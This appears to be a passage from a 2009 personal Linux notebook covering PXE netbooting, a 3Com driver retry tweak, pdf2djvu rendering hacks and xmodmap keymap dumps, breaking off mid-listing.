Assembling MD arrays...done (no arrays found in config file or automatically). Entry: netbooting Date: Fri May 8 17:57:39 CEST 2009 It's been a while since I got this to work.. One note: apparently 2.6 kernels won't boot with mknbi. Might be the reason why I couldn't get it to work :) 0. I had to do this (tftpd broken)[1] sudo apt-get remove tftpd sudo apt-get install tftpd-hpa Do something like this to see if it's properly setup: tom@del:~$ cat /etc/inetd.conf |grep tftpd tftp dgram udp wait root /usr/sbin/in.tftpd /usr/sbin/in.tftpd -s /var/lib/tftpboot 1. setup dhcp to include the "filename" attribute. For me I have this point to "boot". on del (laptop in the field) this is done by bridging the br0 to eth0 (while running off of eth1 wifi). the br0 has dhcpd configured. brctl addif br0 eth0 The previous for some reason doesn't work.. Packets don't make it to the bridge. Using plain dsnmasq: ./masq eth0 1.2.3 Same problem.. Packets come in but don't make it to the app. Cable or firewall settings? 2. get gPXE to work on the target system. Easiest is to put a .lkrn file and use grub from the local harddisk, or use a boot floppy or proper network ROM. (i never managed to get the ROM work though.. It did work with the old 3Com cards and built-in netboot support) 3. in /tftpboot make sure the boot image name obtained from dhcp links to pxelinux.0 (which is in the syslinux distribution) 4. create configuration files /tftpboot/pxelinux.cfg easiest is one per host like: LABEL linux KERNEL xenomai APPEND root=/dev/nfs ip=dhcp [1] http://www.minimyth.org/forum/viewtopic.php?p=10306&sid=76114d43358d0917f6b6591fb301a726 [2] http://zwizwa.be/darcs/pool/bin/masq Entry: modifying linux/net/ipv4/ipconfig.c for 3Com 3c905 Date: Sat May 9 00:05:57 CEST 2009 #define CONF_OPEN_RETRIES 10 #define CONF_SEND_RETRIES 2 #define CONF_BASE_TIMEOUT (HZ) This was necessary to get a flakey 3c905 card working. This makes it re-open the card on every DHCP failure, so now it boots after the first retry. Entry: flashing 3x905 with mba 4.0 -> 4.3 Date: Sat May 9 02:26:01 CEST 2009 Now they're both working - finally. http://etherboot.org/wiki/hardwareissues?s[]=3com ftp://ftp.3com.com/pub/nic/3c90x/util430.exe Entry: tx out matrox Date: Sat May 9 12:01:30 CEST 2009 http://www.bglug.ca/matrox_tvout/g450_tvout_howto.html http://attila.kinali.ch/mga/ Entry: disposable giebrok Date: Sat May 9 22:23:55 CEST 2009 I'd like to move to a "disposable server" model for giebrok: keep all configuration local on a private server. Edit changes locally and push them. This requires a better sync model and probably needs log servers. Rsync is too crude. Am I going to risk running giebrok under tfs? Actually, why not. The problem is bandwidth though.. A partially synced model would probably be better. Entry: things to build Date: Sun May 10 21:09:10 CEST 2009 - centralized bash history logger to get an idea of command line usage + optimize commands further Entry: more comfortable screen reading Date: Sun May 10 21:31:28 CEST 2009 computer modern is a crap font for reading on screen.. it really needs more body, so try this in gimp to simulate "paper blur" : - load page in gimp 300 dpi - gaussian blur 3x3 - contrast +100 brightness -100 now.. how to make kpdf do this? http://kpdf.kde.org/download.php KDE SVN /branches/KDE/3.5/kdegraphics/kpdf/ svn co https://svn.kde.org/home/kde/branches/KDE/3.5/kdegraphics/kpdf/ crap.. doesn't let me in. just using the tarball then.. let's use debian's to get the right deps apt-get source kpdf cd kdegraphics-3.5.9 apt-get build-dep kpdf dpkg-buildpackage apparently it's based on xpdf quite literally: it contains xpdf as a subtree. anyways.. might be simpler to just write some wrappers around pdftoppm. ok: conclusions for now: it seems that for low rez, small text, it's better to "let the ink run" a bit: blur followed by increase in contrast: the text remains ligible longer. the idea seems to be somthing like: text should _never_ become grey. it's easier to fish out letters from a black-on-white though bold blobby blur than a grey blur. EDIT: Filter->Generic->Erode does a good job too. The thing is: you don't want to change much in pictures.. just makes lines thicker. Entry: modifying xpdf Date: Mon May 11 14:52:18 CEST 2009 The point to start is the anti-aliased rendering that's already there. This needs to be modified to use a "spilling" filter instead of an averaging one. It complains about not finding freetype.. Funny, because I have it installed. Maybe a debian issue. Let's use the deb sources instead. All the image processing code is in splash/ Skimming the code it doesn't seem AA is handled by by simply oversampling and downsampling the whole at the end. It's woven all over the place. From this I conclude it's probably not a good idea to go poking in the Splash code.. The simplest approach seems to be to render to 300dpi and postprocess the image, then downsample. Entry: modifying pdf2djvu Date: Mon May 11 18:39:18 CEST 2009 Looks like [1] is a good canditate for extending with an erosion operation. This way a .djvu file can be created for viewing, which is also faster than pdf. pdf2djvu uses the poppler[2] rendering engine (which in turn is based on xpdf / splash). Now poppler uses Cairo[3] so I wonder if it's not possible to use its capabilities to do the filtering. This seems unlikely.. Looks like postprocessing is the only option. So.. A bit more inspection of the code shows that image data gets written out to disk (!) to pass data to the c44 wavelet compressor. This seems to be an interesting point to hook into. Apparently I have old code installed: tom@zzz:/usr/local/bin$ ls -al | grep 2003-08-28 -rwxr-xr-x 1 root staff 13176 2003-08-28 14:05 bzz -rwxr-xr-x 1 root staff 35504 2003-08-28 14:05 c44 -rwxr-xr-x 1 root staff 32888 2003-08-28 14:05 cjb2 -rwxr-xr-x 1 root staff 41384 2003-08-28 14:05 cpaldjvu -rwxr-xr-x 1 root staff 50408 2003-08-28 14:05 csepdjvu -rwxr-xr-x 1 root staff 28304 2003-08-28 14:05 ddjvu -rwxr-xr-x 1 root staff 19816 2003-08-28 14:05 djvm -rwxr-xr-x 1 root staff 12784 2003-08-28 14:05 djvmcvt -rwxr-xr-x 1 root staff 9368 2003-08-28 14:05 djvudump -rwxr-xr-x 1 root staff 17680 2003-08-28 14:05 djvuextract -rwxr-xr-x 1 root staff 47536 2003-08-28 14:05 djvumake -rwxr-xr-x 1 root staff 29968 2003-08-28 14:05 djvups -rwxr-xr-x 1 root staff 110544 2003-08-28 14:05 djvused -rwxr-xr-x 1 root staff 25264 2003-08-28 14:05 djvuserve -rwxr-xr-x 1 root staff 15192 2003-08-28 14:05 djvutxt Inspecting: pdf2djvu -vvv -o foo.djvu ~/library/pool/lazy_specialization.pdf - page #9 -> #9: - muted render - image size: 2479x3508 - verbose render - create sep_file - rle data >> sep_file - text layer >> sep_file - !csepdjvu - !djvuextract FGbz=/tmp/pdf2djvu.5Ha0nY --> "/tmp/pdf2djvu.5Ha0nY" (661 bytes) BG44=/tmp/pdf2djvu.QSKcx8 --> "/tmp/pdf2djvu.QSKcx8" (115 bytes) Sjbz=/tmp/pdf2djvu.1HENeO --> "/tmp/pdf2djvu.1HENeO" (1173 bytes) - annotations >> sed_file - !djvused >> sed_file - !djvumake - !djvused < sed_file - 2318 bytes out Aha! It's actually csepdjvu that's called with "R6 2479 3508 216" input data. /usr/bin/csepdjvu -d 300 /tmp/pdf2djvu.keGpt7 /tmp/pdf2djvu.0bEZjG/p0057.djvu So, replacing /usr/bin/csepdjvu with this: # echo $0 "$@" >>/tmp/`basename $0` [ -z "$CSEPDJVU_PREPROC" ] || $CSEPDJVU_PREPROC "$@" exec $0.real "$@" Now.. The input format is color RLE which is difficult to use. Color RLE format The Color RLE format is a simple run-length encoding scheme for color images with a limited number of dis‐tinct colors. The data always begin with a text header composed of the two characters "R6", the number of columns, the number of rows, and the number of color palette entries. All numbers are expressed in decimal ASCII. These four items are separated by blank characters (space, tab, carriage return, or linefeed) or by comment lines introduced by character "#". The last number is followed by exactly one character which usu‐ally is a linefeed character. The header is followed by the color palette containing three bytes per color entry. The bytes represent the red, green, and blue components of the color. The palette is followed by a collection of four bytes integers (most significant bit first) representing runs of pixels with an identical color. The twelve upper bits of this integer indicate the index of the run color in the palette entry. The twenty lower bits of the integer indicate the run length. Color indices greater than 0xff0 are reserved. Color index 0xfff is used for transparent runs. Each row is represented by a sequence of runs whose lengths add up to the image width. Rows are encoded starting with the top row and progressing toward the bottom row. csepdjvu does support PPM input, so how to convince pdf2djvu to produce this format? The format is generated in quantizer.cc Apparently debians netpbm package doesn't support this format, so I'm installing the one from here: [4]. Hmm.. netpbm doesn't support converting _from_ this format and csepdjvu needs either "Color RLE format" or the "Bitonal RLE format" as input for the foreground image. So it looks like the solution is to plug in a preprocessing step right before the rle conversion. So, not trivial. [1] http://code.google.com/p/pdf2djvu/ [2] http://poppler.freedesktop.org/ [3] http://en.wikipedia.org/wiki/Cairo_(graphics) [4] http://netpbm.sourceforge.net/ Entry: pdftoppm Date: Tue May 12 13:29:32 CEST 2009 It's probably the only way to get it going: pdftoppm -gray -r 300 ~/library/pool/lazy_specialization.pdf lazy Using this converter script pgm2djvu for all the .pgm images: cat $1 | erode | pgmtopbm | pbmtodjvurle | csepdjvu -d 300 - $2 The bundle them up: djvm -c lazy-peval.djvu *.pgm.djvu This is good enough.. I'll wrap it in a script later. Entry: stumpwm Date: Tue May 12 18:37:20 CEST 2009 commands: C-t C-t pull-hidden-other C-t C-n pull-hidden-next C-t C-h help C-t <num> window number C-t w windows First thing i'd like to do is to change the keys. Keep the old windows key for activating the window manager. Entry: setxkbdmap Date: Wed May 13 14:05:59 CEST 2009 use "setxkbdmap" to reset the keymap. This is the default (ouput of xmodmap -kpe) keycode 8 = keycode 9 = Escape NoSymbol Escape NoSymbol Escape keycode 10 = 1 exclam 1 exclam 1 exclam keycode 11 = 2 at 2 at 2 at keycode 12 = 3 numbersign 3 numbersign 3 numbersign keycode 13 = 4 dollar 4 dollar 4 dollar keycode 14 = 5 percent 5 percent 5 percent keycode 15 = 6 asciicircum 6 asciicircum 6 asciicircum keycode 16 = 7 ampersand 7 ampersand 7 ampersand keycode 17 = 8 asterisk 8 asterisk 8 asterisk keycode 18 = 9 parenleft 9 parenleft 9 parenleft keycode 19 = 0 parenright 0 parenright 0 parenright keycode 20 = minus underscore minus underscore minus underscore keycode 21 = equal plus equal plus equal plus keycode 22 = BackSpace Terminate_Server BackSpace Terminate_Server BackSpace Terminate_Server keycode 23 = Tab ISO_Left_Tab Tab ISO_Left_Tab Tab ISO_Left_Tab keycode 24 = q Q q Q q Q keycode 25 = w W w W w W keycode 26 = e E e E e E keycode 27 = r R r R r R keycode 28 = t T t T t T keycode 29 = y Y y Y y Y keycode 30 = u U u U u U keycode 31 = i I i I i I keycode 32 = o O o O o O keycode 33 = p P p P p P keycode 34 = bracketleft braceleft bracketleft braceleft bracketleft braceleft keycode 35 = bracketright braceright bracketright braceright bracketright braceright keycode 36 = Return NoSymbol Return NoSymbol Return keycode 37 = Control_L NoSymbol Control_L NoSymbol Control_L keycode 38 = a A a A a A keycode 39 = s S s S s S keycode 40 = d D d D d D keycode 41 = f F f F f F keycode 42 = g G g G g G keycode 43 = h H h H h H keycode 44 = j J j J j J keycode 45 = k K k K k K keycode 46 = l L l L l L keycode 47 = semicolon colon semicolon colon semicolon colon keycode 48 = apostrophe quotedbl apostrophe quotedbl apostrophe quotedbl keycode 49 = grave asciitilde grave asciitilde grave asciitilde keycode 50 = Shift_L NoSymbol Shift_L NoSymbol Shift_L keycode 51 = backslash bar backslash bar backslash bar keycode 52 = z Z z Z z Z keycode 53 = x X x X x X keycode 54 = c C c C c C keycode 55 = v V v V v V keycode 56 = b B b B b B keycode 57 = n N n N n N keycode 58 = m M m M m M keycode 59 = comma less comma less comma less keycode 60 = period greater period greater period greater keycode 61 = slash question slash question slash question keycode 62 = Shift_R NoSymbol Shift_R NoSymbol Shift_R keycode 63 = KP_Multiply XF86_ClearGrab KP_Multiply XF86_ClearGrab KP_Multiply XF86_ClearGrab keycode 64 = Alt_L Meta_L Alt_L Meta_L Alt_L Meta_L keycode 65 = space NoSymbol space NoSymbol space keycode 66 = Caps_Lock NoSymbol Caps_Lock NoSymbol Caps_Lock keycode 67 = F1 XF86_Switch_VT_1 F1 XF86_Switch_VT_1 F1 XF86_Switch_VT_1 keycode 68 = F2 XF86_Switch_VT_2 F2 XF86_Switch_VT_2 F2 XF86_Switch_VT_2 keycode 69 = F3 XF86_Switch_VT_3 F3 XF86_Switch_VT_3 F3 XF86_Switch_VT_3 keycode 70 = F4 XF86_Switch_VT_4 F4 XF86_Switch_VT_4 F4 XF86_Switch_VT_4 keycode 71 = F5 XF86_Switch_VT_5 F5 XF86_Switch_VT_5 F5 XF86_Switch_VT_5 keycode 72 = F6 XF86_Switch_VT_6 F6 XF86_Switch_VT_6 F6 XF86_Switch_VT_6 keycode 73 = F7 XF86_Switch_VT_7 F7 XF86_Switch_VT_7 F7 XF86_Switch_VT_7 keycode 74 = F8 XF86_Switch_VT_8 F8 XF86_Switch_VT_8 F8 XF86_Switch_VT_8 keycode 75 = F9 XF86_Switch_VT_9 F9 XF86_Switch_VT_9 F9 XF86_Switch_VT_9 keycode 76 = F10 XF86_Switch_VT_10 F10 XF86_Switch_VT_10 F10 XF86_Switch_VT_10 keycode 77 = Num_Lock Pointer_EnableKeys Num_Lock Pointer_EnableKeys Num_Lock Pointer_EnableKeys keycode 78 = Scroll_Lock NoSymbol Scroll_Lock NoSymbol Scroll_Lock keycode 79 = KP_Home KP_7 KP_Home KP_7 KP_Home KP_7 keycode 80 = KP_Up KP_8 KP_Up KP_8 KP_Up KP_8 keycode 81 = KP_Prior KP_9 KP_Prior KP_9 KP_Prior KP_9 keycode 82 = KP_Subtract XF86_Prev_VMode KP_Subtract XF86_Prev_VMode KP_Subtract XF86_Prev_VMode keycode 83 = KP_Left KP_4 KP_Left KP_4 KP_Left KP_4 keycode 84 = KP_Begin KP_5 KP_Begin KP_5 KP_Begin KP_5 keycode 85 = KP_Right KP_6 KP_Right KP_6 KP_Right KP_6 keycode 86 = KP_Add XF86_Next_VMode KP_Add XF86_Next_VMode KP_Add XF86_Next_VMode keycode 87 = KP_End KP_1 KP_End KP_1 KP_End KP_1 keycode 88 = KP_Down KP_2 KP_Down KP_2 KP_Down KP_2 keycode 89 = KP_Next KP_3 KP_Next KP_3 KP_Next KP_3 keycode 90 = KP_Insert KP_0 KP_Insert KP_0 KP_Insert KP_0 keycode 91 = KP_Delete KP_Decimal KP_Delete KP_Decimal KP_Delete KP_Decimal keycode 92 = ISO_Level3_Shift NoSymbol ISO_Level3_Shift NoSymbol ISO_Level3_Shift keycode 93 = Zenkaku_Hankaku NoSymbol Zenkaku_Hankaku NoSymbol Zenkaku_Hankaku keycode 94 = less greater less greater bar brokenbar keycode 95 = F11 XF86_Switch_VT_11 F11 XF86_Switch_VT_11 F11 XF86_Switch_VT_11 keycode 96 = F12 XF86_Switch_VT_12 F12 XF86_Switch_VT_12 F12 XF86_Switch_VT_12 keycode 97 = keycode 98 = Katakana NoSymbol Katakana NoSymbol Katakana keycode 99 = Hiragana NoSymbol Hiragana NoSymbol Hiragana keycode 100 = Henkan_Mode NoSymbol Henkan_Mode NoSymbol Henkan_Mode keycode 101 = Hiragana_Katakana NoSymbol Hiragana_Katakana NoSymbol Hiragana_Katakana keycode 102 = Muhenkan NoSymbol Muhenkan NoSymbol Muhenkan keycode 103 = keycode 104 = KP_Enter NoSymbol KP_Enter NoSymbol KP_Enter keycode 105 = Control_R NoSymbol Control_R NoSymbol Control_R keycode 106 = KP_Divide XF86_Ungrab KP_Divide XF86_Ungrab KP_Divide XF86_Ungrab keycode 107 = Print Sys_Req Print Sys_Req Print Sys_Req keycode 108 = Alt_R Meta_R Alt_R Meta_R Alt_R Meta_R keycode 109 = Linefeed NoSymbol Linefeed NoSymbol Linefeed keycode 110 = Home NoSymbol Home NoSymbol Home keycode 111 = Up NoSymbol Up NoSymbol Up keycode 112 = Prior NoSymbol Prior NoSymbol Prior keycode 113 = Left NoSymbol Left NoSymbol Left keycode 114 = Right NoSymbol Right NoSymbol Right keycode 115 = End NoSymbol End NoSymbol End keycode 116 = Down NoSymbol Down NoSymbol Down keycode 117 = Next NoSymbol Next NoSymbol Next keycode 118 = Insert NoSymbol Insert NoSymbol Insert keycode 119 = Delete NoSymbol Delete NoSymbol Delete keycode 120 = keycode 121 = XF86AudioMute NoSymbol XF86AudioMute NoSymbol XF86AudioMute keycode 122 = XF86AudioLowerVolume NoSymbol XF86AudioLowerVolume NoSymbol XF86AudioLowerVolume keycode 123 = XF86AudioRaiseVolume NoSymbol XF86AudioRaiseVolume NoSymbol XF86AudioRaiseVolume keycode 124 = XF86PowerOff NoSymbol XF86PowerOff NoSymbol XF86PowerOff keycode 125 = KP_Equal NoSymbol KP_Equal NoSymbol KP_Equal keycode 126 = plusminus NoSymbol plusminus NoSymbol plusminus keycode 127 = Pause Break Pause Break Pause Break keycode 128 = keycode 129 = KP_Separator NoSymbol KP_Separator NoSymbol KP_Separator keycode 130 = Hangul NoSymbol Hangul NoSymbol Hangul keycode 131 = Hangul_Hanja NoSymbol Hangul_Hanja NoSymbol Hangul_Hanja keycode 132 = keycode 133 = Super_L NoSymbol Super_L NoSymbol Super_L keycode 134 = Super_R NoSymbol Super_R NoSymbol Super_R keycode 135 = Menu NoSymbol Menu NoSymbol Menu keycode 136 = Cancel NoSymbol Cancel NoSymbol Cancel keycode 137 = Redo NoSymbol Redo NoSymbol Redo keycode 138 = SunProps NoSymbol SunProps NoSymbol SunProps keycode 139 = Undo NoSymbol Undo NoSymbol Undo keycode 140 = SunFront NoSymbol SunFront NoSymbol SunFront keycode 141 = XF86Copy NoSymbol XF86Copy NoSymbol XF86Copy keycode 142 = SunOpen NoSymbol SunOpen NoSymbol SunOpen keycode 143 = XF86Paste NoSymbol XF86Paste NoSymbol XF86Paste keycode 144 = Find NoSymbol Find NoSymbol Find keycode 145 = XF86Cut NoSymbol XF86Cut NoSymbol XF86Cut keycode 146 = Help NoSymbol Help NoSymbol Help keycode 147 = XF86MenuKB NoSymbol XF86MenuKB NoSymbol XF86MenuKB keycode 148 = XF86Calculator NoSymbol XF86Calculator NoSymbol XF86Calculator keycode 149 = keycode 150 = XF86Sleep NoSymbol XF86Sleep NoSymbol XF86Sleep keycode 151 = XF86WakeUp NoSymbol XF86WakeUp NoSymbol XF86WakeUp keycode 152 = XF86Explorer NoSymbol XF86Explorer NoSymbol XF86Explorer keycode 153 = XF86Send NoSymbol XF86Send NoSymbol XF86Send keycode 154 = keycode 155 = XF86Xfer NoSymbol XF86Xfer NoSymbol XF86Xfer keycode 156 = XF86Launch1 NoSymbol XF86Launch1 NoSymbol XF86Launch1 keycode 157 = XF86Launch2 NoSymbol XF86Launch2 NoSymbol XF86Launch2 keycode 158 = XF86WWW NoSymbol XF86WWW NoSymbol XF86WWW keycode 159 = XF86DOS NoSymbol XF86DOS NoSymbol XF86DOS keycode 160 = XF86ScreenSaver NoSymbol XF86ScreenSaver NoSymbol XF86ScreenSaver keycode 161 = keycode 162 = XF86RotateWindows NoSymbol XF86RotateWindows NoSymbol XF86RotateWindows keycode 163 = XF86Mail NoSymbol XF86Mail NoSymbol XF86Mail keycode 164 = XF86Favorites NoSymbol XF86Favorites NoSymbol XF86Favorites keycode 165 = XF86MyComputer NoSymbol XF86MyComputer NoSymbol XF86MyComputer keycode 166 = XF86Back NoSymbol XF86Back NoSymbol XF86Back keycode 167 = XF86Forward NoSymbol XF86Forward NoSymbol XF86Forward keycode 168 = keycode 169 = XF86Eject NoSymbol XF86Eject NoSymbol XF86Eject keycode 170 = XF86Eject XF86Eject XF86Eject XF86Eject XF86Eject XF86Eject keycode 171 = XF86AudioNext NoSymbol XF86AudioNext NoSymbol XF86AudioNext keycode 172 = XF86AudioPlay XF86AudioPause XF86AudioPlay XF86AudioPause XF86AudioPlay XF86AudioPause keycode 173 = XF86AudioPrev NoSymbol XF86AudioPrev NoSymbol XF86AudioPrev keycode 174 = XF86AudioStop XF86Eject XF86AudioStop XF86Eject XF86AudioStop XF86Eject keycode 175 = XF86AudioRecord NoSymbol XF86AudioRecord NoSymbol XF86AudioRecord keycode 176 = XF86AudioRewind NoSymbol XF86AudioRewind NoSymbol XF86AudioRewind keycode 177 = XF86Phone NoSymbol XF86Phone NoSymbol XF86Phone keycode 178 = keycode 179 = XF86Tools NoSymbol XF86Tools NoSymbol XF86Tools keycode 180 = XF86HomePage NoSymbol XF86HomePage NoSymbol XF86HomePage keycode 181 = XF86Reload NoSymbol XF86Reload NoSymbol XF86Reload keycode 182 = XF86Close NoSymbol XF86Close NoSymbol XF86Close keycode 183 = keycode 184 = keycode 185 = XF86ScrollUp NoSymbol XF86ScrollUp NoSymbol XF86ScrollUp keycode 186 = XF86ScrollDown NoSymbol XF86ScrollDown NoSymbol XF86ScrollDown keycode 187 = parenleft NoSymbol parenleft NoSymbol parenleft keycode 188 = parenright NoSymbol parenright NoSymbol parenright keycode 189 = XF86New NoSymbol XF86New NoSymbol XF86New keycode 190 = Redo NoSymbol Redo NoSymbol Redo keycode 191 = keycode 192 = keycode 193 = keycode 194 = keycode 195 = keycode 196 = keycode 197 = keycode 198 = keycode 199 = keycode 200 = keycode 201 = keycode 202 = keycode 203 = Mode_switch NoSymbol Mode_switch NoSymbol Mode_switch keycode 204 = NoSymbol Alt_L NoSymbol Alt_L NoSymbol Alt_L keycode 205 = NoSymbol Meta_L NoSymbol Meta_L NoSymbol Meta_L keycode 206 = NoSymbol Super_L NoSymbol Super_L NoSymbol Super_L keycode 207 = NoSymbol Hyper_L NoSymbol Hyper_L NoSymbol Hyper_L keycode 208 = XF86AudioPlay NoSymbol XF86AudioPlay NoSymbol XF86AudioPlay keycode 209 = XF86AudioPause NoSymbol XF86AudioPause NoSymbol XF86AudioPause keycode 210 = XF86Launch3 NoSymbol XF86Launch3 NoSymbol XF86Launch3 keycode 211 = XF86Launch4 NoSymbol XF86Launch4 NoSymbol XF86Launch4 keycode 212 = keycode 213 = XF86Standby NoSymbol XF86Standby NoSymbol XF86Standby keycode 214 = XF86Close NoSymbol XF86Close NoSymbol XF86Close keycode 215 = XF86AudioPlay NoSymbol XF86AudioPlay NoSymbol XF86AudioPlay keycode 216 = XF86Forward NoSymbol XF86Forward NoSymbol XF86Forward keycode 217 = keycode 218 = Print NoSymbol Print NoSymbol Print keycode 219 = keycode 220 = XF86WebCam NoSymbol XF86WebCam NoSymbol XF86WebCam keycode 221 = keycode 222 = keycode 223 = XF86Mail NoSymbol XF86Mail NoSymbol XF86Mail keycode 224 = keycode 225 = XF86Search NoSymbol XF86Search NoSymbol XF86Search keycode 226 = keycode 227 = XF86Finance NoSymbol XF86Finance NoSymbol XF86Finance keycode 228 = keycode 229 = XF86Shop NoSymbol XF86Shop NoSymbol XF86Shop keycode 230 = keycode 231 = Cancel NoSymbol Cancel NoSymbol Cancel keycode 232 = XF86MonBrightnessDown NoSymbol XF86MonBrightnessDown NoSymbol XF86MonBrightnessDown keycode 233 = XF86MonBrightnessUp NoSymbol XF86MonBrightnessUp NoSymbol XF86MonBrightnessUp keycode 234 = XF86AudioMedia NoSymbol XF86AudioMedia NoSymbol XF86AudioMedia keycode 235 = XF86Display NoSymbol XF86Display NoSymbol XF86Display keycode 236 = XF86KbdLightOnOff NoSymbol XF86KbdLightOnOff NoSymbol XF86KbdLightOnOff keycode 237 = XF86KbdBrightnessDown NoSymbol XF86KbdBrightnessDown NoSymbol XF86KbdBrightnessDown keycode 238 = XF86KbdBrightnessUp NoSymbol XF86KbdBrightnessUp NoSymbol XF86KbdBrightnessUp keycode 239 = XF86Send NoSymbol XF86Send NoSymbol XF86Send keycode 240 = XF86Reply NoSymbol XF86Reply NoSymbol XF86Reply keycode 241 = XF86MailForward NoSymbol XF86MailForward NoSymbol XF86MailForward keycode 242 = XF86Save NoSymbol XF86Save NoSymbol XF86Save keycode 243 = XF86Documents NoSymbol XF86Documents NoSymbol XF86Documents keycode 244 = keycode 245 = keycode 246 = keycode 247 = keycode 248 = keycode 249 = keycode 250 = keycode 251 = keycode 252 = keycode 253 = keycode 254 = keycode 255 = This is the modified version keycode 8 = keycode 9 = Escape NoSymbol Escape NoSymbol Escape keycode 10 = 1 exclam 1 exclam 1 exclam keycode 11 = 2 at 2 at 2 at keycode 12 = 3 numbersign 3 numbersign 3 numbersign keycode 13 = 4 dollar 4 dollar 4 dollar keycode 14 = 5 percent 5 percent 5 percent keycode 15 = 6 asciicircum 6 asciicircum 6 asciicircum keycode 16 = 7 ampersand 7 ampersand 7 ampersand keycode 17 = 8 asterisk 8 asterisk 8 asterisk keycode 18 = 9 parenleft 9 parenleft 9 parenleft keycode 19 = 0 parenright 0 parenright 0 parenright keycode 20 = minus underscore minus underscore minus underscore keycode 21 = equal plus equal plus equal plus keycode 22 = BackSpace Terminate_Server BackSpace Terminate_Server BackSpace Terminate_Server keycode 23 = Tab ISO_Left_Tab Tab ISO_Left_Tab Tab ISO_Left_Tab keycode 24 = q Q q Q q Q keycode 25 = w W w W w W keycode 26 = e E e E e E keycode 27 = r R r R r R keycode 28 = t T t T t T keycode 29 = y Y y Y y Y keycode 30 = u U u U u U keycode 31 = i I i I i I keycode 32 = o O o O o O keycode 33 = p P p P p P keycode 34 = bracketleft braceleft bracketleft braceleft bracketleft braceleft keycode 35 = bracketright braceright bracketright braceright bracketright braceright keycode 36 = Return NoSymbol Return NoSymbol Return keycode 37 = Super_L keycode 38 = a A a A a A keycode 39 = s S s S s S keycode 40 = d D d D d D keycode 41 = f F f F f F keycode 42 = g G g G g G keycode 43 = h H h H h H keycode 44 = j J j J j J keycode 45 = k K k K k K keycode 46 = l L l L l L keycode 47 = semicolon colon semicolon colon semicolon colon keycode 48 = apostrophe quotedbl apostrophe quotedbl apostrophe quotedbl keycode 49 = grave asciitilde grave asciitilde grave asciitilde keycode 50 = Shift_L NoSymbol Shift_L NoSymbol Shift_L keycode 51 = backslash bar backslash bar backslash bar keycode 52 = z Z z Z z Z keycode 53 = x X x X x X keycode 54 = c C c C c C keycode 55 = v V v V v V keycode 56 = b B b B b B keycode 57 = n N n N n N keycode 58 = m M m M m M keycode 59 = comma less comma less comma less keycode 60 = period greater period greater period greater keycode 61 = slash question slash question slash question keycode 62 = Shift_R NoSymbol Shift_R NoSymbol Shift_R keycode 63 = KP_Multiply XF86_ClearGrab KP_Multiply XF86_ClearGrab KP_Multiply XF86_ClearGrab keycode 64 = Alt_L keycode 65 = space NoSymbol space NoSymbol space keycode 66 = Control_L keycode 67 = F1 XF86_Switch_VT_1 F1 XF86_Switch_VT_1 F1 XF86_Switch_VT_1 keycode 68 = F2 XF86_Switch_VT_2 F2 XF86_Switch_VT_2 F2 XF86_Switch_VT_2 keycode 69 = F3 XF86_Switch_VT_3 F3 XF86_Switch_VT_3 F3 XF86_Switch_VT_3 keycode 70 = F4 XF86_Switch_VT_4 F4 XF86_Switch_VT_4 F4 XF86_Switch_VT_4 keycode 71 = F5 XF86_Switch_VT_5 F5 XF86_Switch_VT_5 F5 XF86_Switch_VT_5 keycode 72 = F6 XF86_Switch_VT_6 F6 XF86_Switch_VT_6 F6 XF86_Switch_VT_6 keycode 73 = F7 XF86_Switch_VT_7 F7 XF86_Switch_VT_7 F7 XF86_Switch_VT_7 keycode 74 = F8 XF86_Switch_VT_8 F8 XF86_Switch_VT_8 F8 XF86_Switch_VT_8 keycode 75 = F9 XF86_Switch_VT_9 F9 XF86_Switch_VT_9 F9 XF86_Switch_VT_9 keycode 76 = F10 XF86_Switch_VT_10 F10 XF86_Switch_VT_10 F10 XF86_Switch_VT_10 keycode 77 = Num_Lock Pointer_EnableKeys Num_Lock Pointer_EnableKeys Num_Lock Pointer_EnableKeys keycode 78 = Scroll_Lock NoSymbol Scroll_Lock NoSymbol Scroll_Lock keycode 79 = KP_Home KP_7 KP_Home KP_7 KP_Home KP_7 keycode 80 = KP_Up KP_8 KP_Up KP_8 KP_Up KP_8 keycode 81 = KP_Prior KP_9 KP_Prior KP_9 KP_Prior KP_9 keycode 82 = KP_Subtract XF86_Prev_VMode KP_Subtract XF86_Prev_VMode KP_Subtract XF86_Prev_VMode keycode 83 = KP_Left KP_4 KP_Left KP_4 KP_Left KP_4 keycode 84 = KP_Begin KP_5 KP_Begin KP_5 KP_Begin KP_5 keycode 85 = KP_Right KP_6 KP_Right KP_6 KP_Right KP_6 keycode 86 = KP_Add XF86_Next_VMode KP_Add XF86_Next_VMode KP_Add XF86_Next_VMode keycode 87 = KP_End KP_1 KP_End KP_1 KP_End KP_1 keycode 88 = KP_Down KP_2 KP_Down KP_2 KP_Down KP_2 keycode 89 = KP_Next KP_3 KP_Next KP_3 KP_Next KP_3 keycode 90 = KP_Insert KP_0 KP_Insert KP_0 KP_Insert KP_0 keycode 91 = KP_Delete KP_Decimal KP_Delete KP_Decimal KP_Delete KP_Decimal keycode 92 = ISO_Level3_Shift NoSymbol ISO_Level3_Shift NoSymbol ISO_Level3_Shift keycode 93 = Zenkaku_Hankaku NoSymbol Zenkaku_Hankaku NoSymbol Zenkaku_Hankaku keycode 94 = less greater less greater bar brokenbar keycode 95 = F11 XF86_Switch_VT_11 F11 XF86_Switch_VT_11 F11 XF86_Switch_VT_11 keycode 96 = F12 XF86_Switch_VT_12 F12 XF86_Switch_VT_12 F12 XF86_Switch_VT_12 keycode 97 = keycode 98 = Katakana NoSymbol Katakana NoSymbol Katakana keycode 99 = Hiragana NoSymbol Hiragana NoSymbol Hiragana keycode 100 = Henkan_Mode NoSymbol Henkan_Mode NoSymbol Henkan_Mode keycode 101 = Hiragana_Katakana NoSymbol Hiragana_Katakana NoSymbol Hiragana_Katakana keycode 102 = Muhenkan NoSymbol Muhenkan NoSymbol Muhenkan keycode 103 = keycode 104 = KP_Enter NoSymbol KP_Enter NoSymbol KP_Enter keycode 105 = Control_R NoSymbol Control_R NoSymbol Control_R keycode 106 = KP_Divide XF86_Ungrab KP_Divide XF86_Ungrab KP_Divide XF86_Ungrab keycode 107 = Print Sys_Req Print Sys_Req Print Sys_Req keycode 108 = Alt_R Meta_R Alt_R Meta_R Alt_R Meta_R keycode 109 = Linefeed NoSymbol Linefeed NoSymbol Linefeed keycode 110 = Home NoSymbol Home NoSymbol Home keycode 111 = Up NoSymbol Up NoSymbol Up keycode 112 = Prior NoSymbol Prior NoSymbol Prior keycode 113 = Alt_R keycode 114 = Right NoSymbol Right NoSymbol Right keycode 115 = End NoSymbol End NoSymbol End keycode 116 = Down NoSymbol Down NoSymbol Down keycode 117 = Menu keycode 118 = Insert NoSymbol 